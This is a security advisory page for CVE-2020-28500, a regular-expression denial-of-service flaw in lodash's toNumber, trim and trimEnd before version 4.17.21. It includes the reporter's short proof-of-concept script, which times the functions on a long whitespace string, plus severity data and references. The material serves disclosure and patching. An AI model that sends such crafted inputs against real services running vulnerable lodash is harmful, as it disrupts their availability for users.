Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTI5bXctd3BnbS1obXI5

Regular Expression Denial of Service (ReDoS) in lodash

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Permalink: https://github.com/advisories/GHSA-29mw-wpgm-hmr9
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTI5bXctd3BnbS1obXI5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 2 years ago
Updated: 6 months ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-29mw-wpgm-hmr9, CVE-2020-28500
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-28500
• https://github.com/lodash/lodash/pull/5065
• https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7
• https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8
• https://security.netapp.com/advisory/ntap-20210312-0006/
• https://snyk.io/vuln/SNYK-JS-LODASH-1018905
• https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
• https://www.oracle.com//security-alerts/cpujul2021.html
• https://www.oracle.com/security-alerts/cpuoct2021.html
• https://www.oracle.com/security-alerts/cpujan2022.html
• https://www.oracle.com/security-alerts/cpujul2022.html
• https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
• https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a
• https://github.com/advisories/GHSA-29mw-wpgm-hmr9

Repository: https://github.com/lodash/lodash
Blast Radius: 33.3

Affected Packages